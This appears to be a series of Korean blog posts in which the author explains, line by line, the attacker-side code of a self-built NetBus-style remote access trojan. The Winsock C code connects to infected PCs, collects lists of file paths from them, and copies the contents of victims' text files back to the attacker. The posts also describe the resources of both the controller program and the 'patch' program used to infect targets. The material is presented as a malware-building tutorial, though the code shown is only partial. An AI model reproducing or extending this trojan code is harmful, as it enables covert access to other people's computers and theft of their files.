네 이상으로 패치 함수의 포스팅을 마치겠습니다. 다음 포스팅에선 공격자가 쓰는 넷버스의 코드를 전부 살펴보도록 하겠습니다.

Posted by englishmath

안녕하십니까. 이번 포스팅에서는 넷버스를 만들때 사용한 함수들을 살펴보겠습니다. 

참고로 이 함수는 공격자가 사용하는 넷버스에 쓰인 함수들입니다.

- void Sconnect(char *address,int port);

소켓을 이용하여 감염자와 연결을 시도할 때 사용하는 함수입니다. 매개변수로 주소와 포트를 받습니다.

- int _strcmp(char *str1);

감염자의 소켓으로부터 메세지를 받았을 때 그 메세지의 내용에 따라 처리를 다르게 해주기 위해 사용하는 함수입니다. 매개변수는 감염자의 소켓으로부터 받은 메세지입니다.

- void createTXT(char str[][256]);

감염자의 소켓으로부터 받은 파일들의 경로를 txt파일로 생성해주는 함수입니다. 매개변수는 감염자의 소켓으로부터 받은 파일들의 경로입니다.

- void copyTXT(void);

뽑아낸 txt파일의 경로를 이용하여 txt파일을 복사해주는 함수입니다.

하나씩 살펴봅시다.

- void Sconnect(char *address,int port)

- WSADATA socketdata = {0};

WSADATA 구조체 변수 socketdata를 선언과 동시에 초기화시킵니다. 이 WSADATA구조체는 윈도우 소켓에 대한 정보를 저장하는 역할을 하며 일반적으로 WSAStartup함수를 사용하기 위해 선언합니다.

- struct sockaddr_in socketaddr = {0};

sockaddr_in 구조체 변수 socketaddr를 선언과 동시에 초기화시킵니다. sockaddr_in구조체는 소켓 주소와 관련된 구조체이며 특이하게도 다른 구조체와 다르게 앞에 struct을 붙여 선언합니다. 사용된 구조체의 멤버변수들을 한 번 살펴봅시다.

*sin_family 

주소 체계를 받는 멤버변수입니다. 보통 인터넷 주소 체계를 나타내는 값인 AF_INET을 값으로 받습니다.

*sin_port

해당 주소로 접속을 시도할 때 어떤 포트로 시도할것인지를 받는 멤버변수입니다.

*sin_addr

주소값을 받는 구조체 멤버 변수입니다. 실질적으로 주소를 받는 멤버변수는 sin_addr의 S_un구조체의 S_addr멤버변수입니다.

- WSAStartup(MAKEWORD(2,2),&socketdata);

WSAStartup함수를 호출합니다. 이 함수는 소켓을 사용하기 위해서는 무조건 호출해야 하는 함수로 윈도우즈 소켓과 관련된 DLL(winsock DLL)을 사용할 수 있도록 초기화해주는 역할을 합니다. 첫번째 인자는 DLL의 버전을 값으로 받으며 두번째 인자는 WSADATA 구조체의 포인터입니다.

즉 2.2버전의 dll을 사용하고 싶으시다면 위와 같이 MAKEWORD(2,2)를 값으로 집어넣어주면 됩니다.

- G_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

socket함수를 호출하여 소켓을 생성한 후 전역변수인 G_Socket에 저장합니다. socket함수를 한 번 살펴봅시다.

소켓을 생성하여 SOCKET 자료형으로 반환해주는 함수입니다. 인자들을 한 번 살펴봅시다.

*af

주소체계를 값으로 받는 인자입니다. IPv4주소를 사용한다면 AF_INET 값을 줍니다.

*type

소켓의 타입을 값으로 받는 인자입니다. TCP통신을 사용할려면 SOCK_STREAM값을 줍니다.

*protocol

사용할 프로토콜을 값으로 받는 인자입니다. TCP프로토콜을 사용할려면 IPPROTO_TCP값을 줍시다.

- WSAAsyncSelect(G_Socket,G_Mainhwnd,WM_SOCKET,FD_READ | FD_CONNECT | FD_CLOSE);

WSAAsyncSelect함수를 호출하여 윈도우의 프로시저에서 네트워크 관련 이벤트를 메세지를 통해 응답할 수 있게 설정합니다. 일반 윈도우에서 여러 이벤트가 발생되면 WM_CREATE 등의 메세지가 발생하지요? 이와 동일하게 네트워크 관련 이벤트가 발생되었을 경우 사용자가 임의로 정한 메세지가 발생하도록 설정해주는 함수입니다.

WSAAsyncSelect함수를 한 번 살펴봅시다.

인자들을 한 번 살펴봅시다.

*SOCKET s

네트워크 이벤트가 발생하는 소켓을 인자로 받습니다. 여기서는 방금 만든 G_Socket을 값으로 주었습니다.

*HWND hWnd

네트워크 이벤트가 발생하였을 때 메세지를 받을 윈도우의 핸들입니다. 여기서는 넷버스의 핸들인 G_Mainhwnd값을 주었습니다.

*unsigned int wMsg

이벤트가 발생하였을 때 받을 메세지명입니다. 여기서는 WM_SOCKET값을 주었는데 이렇게 하면 나중에 네트워크 이벤트가 발생하였을 때 프로시저 함수에서 WM_SOCKET메세지를 발생시키게 합니다. 다만 이 인자의 자료형은 unsigned int 이어야 하므로 코드 앞 부분에  #define WM_SOCKET WM_USER+1을 추가하여 WM_SOCKET이 unsigned int형이 되도록 합니다.

WM_USER은 사용자가 임의로 메세지를 만들 때 반드시 사용해야 하는 값이며 보통 400을 의미합니다.

*long lEvent

사용자가 메세지를 받았을 때 어떠한 이벤트를 받을 것인지를 정하는 부분입니다. 여기서는 FD_READ, FD_CONNECT, FD_CLOSE 를 값으로 주어 WM_SOCKET메세지를 받았을 때 위 세개의 이벤트를 받을 수 있도록 설정합니다. 각 이벤트들은 다음과 같습니다.

FD_READ : 반대쪽 소켓에서 send함수를 호출하였을 때 발생하는 이벤트입니다.

FD_CONNECT : 반대쪽 소켓과 연결을 시도했을 때 발생하는 이벤트입니다.

FD_CLOSE : 반대쪽 소켓과의 연결이 끊겼을 때 발생하는 이벤트입니다.

- socketaddr.sin_family = AF_INET;

sin_family 멤버변수에 인터넷 주소 체계를 뜻하는 AF_INET값을 넣습니다.

- socketaddr.sin_addr.S_un.S_addr = inet_addr(address);

sin_addr구조체에 속한 S_un구조체의 S_addr멤버에 inet_addr함수를 호출한 결과값을 넣습니다. inet_addr함수를 살펴봅시다.

이 함수는 점(.)으로 표기된 ip주소를 unsigned long형으로 변환하여 반환합니다. 소켓구조체의 S_addr멤버변수에 값을 넣기 위해 사용하였습니다. 인자를 살펴봅시다.

*const char *cp

점으로 표기된 ip주소입니다. 여기서는 Sconnect함수의 매개변수인 address를 값으로 주었습니다.

- socketaddr.sin_port = htons(port);

sin_port멤버에 htons함수의 결과값을 넣습니다. htons함수를 살펴봅시다.

htons 함수는 인자로 받은 포트번호를 TCP/IP 통신에 맞게 정렬하여 반환해주는 함수입니다. 여기서는 Sconnect함수의 매개변수인 port를 인자로 사용하였습니다.

추가 설명을 드리자면 기본적으로 네트워크는 빅 엔디언 방식을 사용하고 있습니다. 그런데 리버싱을 해보신 분은 아시겠지만 기본적으로 CPU에서는 리틀 엔디언 방식을 사용하고 있기 때문에 이 리틀 엔디언 방식의 값이 그대로 네트워크로 가게 된다면 전송에 차질이 생길 수가 있습니다. 그렇기에 이러한 리틀 엔디언 값을 빅 엔디언 방식으로 바꾸어 줘야 하는데 이러한 기능을 해주는 함수가 위의 htons함수입니다.

리틀엔디언은 앞 포스팅인 codeengn - basic rce level 15에서도 한 번 언급하였습니다.

- connect(G_Socket,(struct sockaddr *)&socketaddr,sizeof(socketaddr));

socketaddr구조체에 들어있는 정보를 토대로 connect함수를 호출하여 소켓 연결을 시도합니다. connect함수를 살펴봅시다.

지정된 소켓에 연결을 시도하는 함수라고 나와있습니다. 인자들을 살펴봅시다.

* SOCKET s

지정할 소켓입니다.

* struct sockaddr *name

소켓주소와 관련된 구조체인 sockaddr의 포인터를 인자로 받습니다. 헌데 우리는 sockaddr의 상위구조체인 sockaddr_in을 사용하였으므로 요구하는 자료형에 맞게 형변환을 시켜주었습니다.

*int namelen

name의 크기를 인자로 받습니다.

이 함수가 호출되고 난 후 관련된 이벤트는 우리가 WSAAsyncSelect함수에서 등록한 메세지(WM_SOCKET)에서 처리하게 됩니다.

여기까지가 Sconnect함수였습니다. 다음 함수를 한 번 살펴봅시다.

- int _strcmp(char *str1)

이 함수는 감염자의 소켓으로부터 메세지를 받았을 때 처리부분을 다르게 해주기 위해 만든 함수입니다. 매개변수는 소켓으로부터 받은 메세지(str1)입니다. 이렇게 받은 메세지를 구별하여 각각 다른 값을 return하게 한 후 본 코드에서 switch함수를 이용하여 처리를 각각 다르게 하는 식으로 구현되었습니다. 

그리고 이 함수에 등록되지 않은 메세지를 받았을 경우 else문구를 통해 999를 반환합니다. 그리고 switch문구에서 999값은 아무 처리도 하지 않도록 하였습니다. 

다음 함수를 살펴봅시다.

- void createTXT(char str[][256])

감염자의 PC로부터 찾은 파일의 경로들을 txt파일로 저장시켜주는 함수입니다. 매개변수는 감염자의 소켓으로부터 받은 str이란 2차원 배열입니다. 코드를 하나씩 살펴봅시다.

- HANDLE file;

파일을 만들기 위해 HANDLE형 변수를 선언합니다.

- int i,j,str_len;

for문에 쓰일 변수인 i,j와 WriteFile함수에 쓰일 변수 str_len을 선언합니다.

- DWORD usersize;

GetUserName함수를 사용하기 위해 usersize변수를 선언합니다.

- TCHAR user[256] = L"",PATH[500] = L"";

GetUserName함수와 wsprintf함수에 쓰일 TCHAR형 배열을 선언과 동시에 초기화시킵니다.

- GetUserName(user,&usersize);

GetUserName함수를 호출합니다. GetUserName함수를 한 번 살펴봅시다.

이 함수는 현재 스레드와 관련된 사용자의 이름을 가져오는 함수입니다. 인자들을 살펴봅시다.

* LPTSTR lpBuffer

가져온 사용자의 이름을 저장할 변수명입니다.

* LPDWORD lpnSize

가져온 사용자 이름의 크기를 저장할 변수의 포인터를 받습니다.

즉 정리하면 현재 사용자 계정의 이름을 알아내서 user에 저장시킵니다.

- wsprintf(PATH,L"C:\\Users\\%s\\Desktop\\넷버스txt파일경로.txt",user);

위 함수로 얻은 user을 사용하여 PATH에 txt파일을 만들 경로를 저장합니다. 저는 바탕화면에 넷버스txt파일경로라는 이름으로 텍스트파일을 만들기 위해 이렇게 작성하였습니다.

- file = CreateFile(PATH,GENERIC_READ | GENERIC_WRITE,NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

저장된 PATH를 이용하여 파일을 생성합니다. 이때 CREATE_ALWAYS옵션을 주어 같은 명의 파일이 있어도 무조건 덮어쓰기 하도록 하였습니다.

- for(i=0;i<500;i++)

if(strcmp(str[i],"") == 0)

break;

for문을 이용하여 크기가 500인 str배열을 검사하여 몇개의 파일 경로를 가져왔는지 검사합니다. 예를 들어 파일 경로를 5개 가져왔다면 

str[0][256] ~ [4][256]까지가 들어있겠지요. 이렇게 되면 for문은 if문을 이용하여 str[5]에서 ""값을 발견하고 break를 통해 for문을 중지합니다.

- j=i;

위의 for문이 끝나면 i의 값을 j에 집어넣습니다. str[5]에서 중지가 되었으므로 i값은 5일 것이고 이 값을 j에 넣으면 j는 가져온 파일경로의 개수를 의미하게 됩니다.

- for(i=0;i<j;i++)

다시 i를 0으로 초기화 한후 가져온 파일 개수(j)만큼 아래의 코드를 반복합니다.

- WriteFile(file,str[i],strlen(str[i]),(LPDWORD)&str_len,NULL);

  WriteFile(file,"\r\n",strlen("\r\n"),(LPDWORD)&str_len,NULL);

아까 CreateFile함수를 호출하여 저장된 파일의 핸들에 str[i]값을 입력합니다. 즉 넷버스txt파일경로라는 텍스트 파일에 파일 경로를 하나씩 입력하게 되는 것이지요. 

그리고 하나의 파일 경로의 입력을 마치게 되면 다시 WriteFile함수를 호출하여 \r\n을 텍스트 파일에 입력하도록 합니다. \r\n은 엔터를 의미하는 값인데 일반 콘솔출력에서 \n을 쓴다면 파일에서는 \r\n을 씁니다.

- CloseHandle(file);

가져온 파일들의 경로를 전부 작성하였으면 파일의 핸들을 닫습니다.

- wsprintf(PATH,L"%s가 생성되었습니다.",PATH);

현재 작성한 파일이 생성되었다는 문자열을 PATH에 저장시킵니다.

- MessageBox(G_filefindDlg,PATH,L"파일 찾기 완료",MB_OK);

모든 작업이 끝났으면 MessageBox를 호출하여 사용자에게 파일찾기가 끝났음을 알립니다. 

- EnableWindow(GetDlgItem(G_filefindDlg,txt),TRUE);

마지막으로 리소스의 파일 찾기 대화상자에 있는 txt버튼을 활성화시킵니다. 

자 이제 마지막으로 남은 함수를 살펴봅시다.

- void copyTXT(void)

감염자의 PC에 있는 텍스트 파일의 내용을 소켓으로부터 받아 텍스트파일을 생성시켜주는 함수입니다. 일종의 복사라고 보시면 됩니다. 코드를 살펴봅시다.

- HANDLE file;

파일을 핸들을 저장할 HANDLE형 변수를 선언합니다.

- DWORD usersize,size;

GetUserName과 WriteFile에 쓰일 DWORD형 변수 2개를 선언합니다.

- int str_len;

MultiByteToWideChar함수에 쓰일 str_len변수를 선언합니다.

- TCHAR user[256] = L"",Wstring[256] = L"",Wstring2[256] = L"";

GetUserName과 MultiByteToWideChar, wsprintf함수에 쓰일 TCHAR형 변수들을 선언과 동시에 초기화합니다.

- SECURITY_ATTRIBUTES SA = {0};

CreateDirectory함수에 쓰일 SECURITY_ATTRIBUTES 구조체 변수를 선언과 동시에 초기화합니다.

- str_len =   MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),NULL,NULL);

G_String.str2에 들은 문자열을 유니코드로 바꾸기 위해 먼저 문자열 길이를 가져옵니다. 여기서 G_String.str2은 감염자의 소켓으로부터 받은 텍스트 파일의 이름입니다.

(ex 1.txt)

- MultiByteToWideChar(949,NULL,G_String.str2,strlen(G_String.str2),Wstring,str_len);

str_len값을 이용하여 G_String.str2문자열을 유니코드로 변환시켜 Wstring에 저장시킵니다. 기본적으로 소켓으로 데이터를 전송받을 때는 멀티바이트로 데이터를 받는데 나중에 메세지박스에 문자열을 출력시킬 때에는 유니코드로 출력시켜야 하므로 유니코드로 변환시켜주었습니다.

- GetUserName(user,&usersize);

  wsprintf(Wstring2,L"C:\\Users\\%s\\Desktop\\넷버스복사물",user);

사용자 계정의 이름을 구해서 Wstring2에 폴더 경로를 저장시킵니다.

- CreateDirectory(Wstring2,&SA);

Wstring2값을 이용하여 CreateDirectory함수를 호출해 폴더를 만듭니다. 이때 두번째 인자는 아까 선언한 SECURITY_ATTRIBUTES 구조체 변수의 포인터입니다.

- wsprintf(Wstring2,L"C:\\Users\\%s\\Desktop\\넷버스복사물\\%s",user,Wstring);

이번엔 파일을 생성하기 위해 Wstring2에 새 경로를 저장합니다. 이 때 파일의 경로는 아까 CreateDirectory함수로 만든 폴더의 안입니다. 그리고 텍스트파일명은 아까 유니코드로 변환시킨 파일명이 저장된 Wstring을 사용하여 감염자의 PC에 있는 텍스트명과 똑같은 텍스트명을 사용합니다.

- file = CreateFile(Wstring2,GENERIC_READ | GENERIC_WRITE,NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

저장된 Wstring2값을 이용하여 txt파일을 CREATE_ALWAYS옵션으로 만듭니다.

- WriteFile(file,G_String.string,strlen(G_String.string),&size,NULL);

감염자 PC의 파일에서 빼낸 데이터를 그대로 파일에 작성합니다. G_String.string이 바로 그 데이터가 저장된 변수입니다. 참고로 이 배열의 크기는 500000byte입니다.

- wsprintf(Wstring2,L"C:\\Users\\%s\\Desktop\\넷버스복사물\\%s가 생성되었습니다.",user,Wstring);

  MessageBox(G_fileCopyDlg,Wstring2,L"파일 복사 완료",MB_OK);

Wstring2에 유니코드 문자열을 넣고 MessageBox를 호출하여 사용자한테 작업이 완료되었음을 알립니다.

- CloseHandle(file);

  EnableWindow(GetDlgItem(G_fileCopyDlg,copy),TRUE);

모든 작업이 끝나면 file의 핸들을 닫고 파일 복사 대화상자의 copy버튼을 활성화시킵니다.

네 이것으로 넷버스 함수 포스팅을 마치겠습니다. 다음 포스팅에서는 감염자의 PC에서 작동하는 patch의 함수들을 포스팅하겠습니다.

Posted by englishmath

안녕하십니까. 이번 포스팅에서는 넷버스의 리소스를 한 번 보여드리겠습니다.

넷버스는 공격자가 쓰는 프로그램과 대상 사용자의 컴퓨터를 감염시킬 때 쓰는 프로그램 이렇게 두 개의 프로그램으로 나뉘므로 두 프로그램의 리소스를 다 보여드리겠습니다. 

편의상 공격자가 쓰는 프로그램을 넷버스, 감염시킬 때 쓰는 프로그램을 패치라고 하겠습니다.

먼저 넷버스의 리소스입니다.

감염된 PC에서 파일을 찾기 위해 만든 대화상자입니다. 현재는 텍스트파일만 찾아내기 위해 버튼을 하나만 만들었습니다.

감염된 PC에 있는 파일들의 경로를 입력하여 해당 파일을 복사할 수 있도록 하기 위해 만든 대화상자입니다. 입력받는 칸은 edit 컨트롤을 이용하여 만들었으며 길이의 제한을 받지 않기 위해 Auto HScroll 옵션을 TRUE로 주었습니다.

넷버스의 아이콘입니다.

생각보다 간단한 리소스이지요? 이번에는 패치의 리소스를 살펴봅시다.

패치는 아이콘외에는 리소스를 추가하지 않았습니다. PC를 감염시키는 용도로 사용하기 때문에 별다른 리소스가 필요하지 않기 때문입니다.

네 이것으로 리소스 포스팅을 마치겠습니다. 다음 포스팅에서는 넷버스에 쓰인 함수들을 살펴보겠습니다.

Posted by englishmath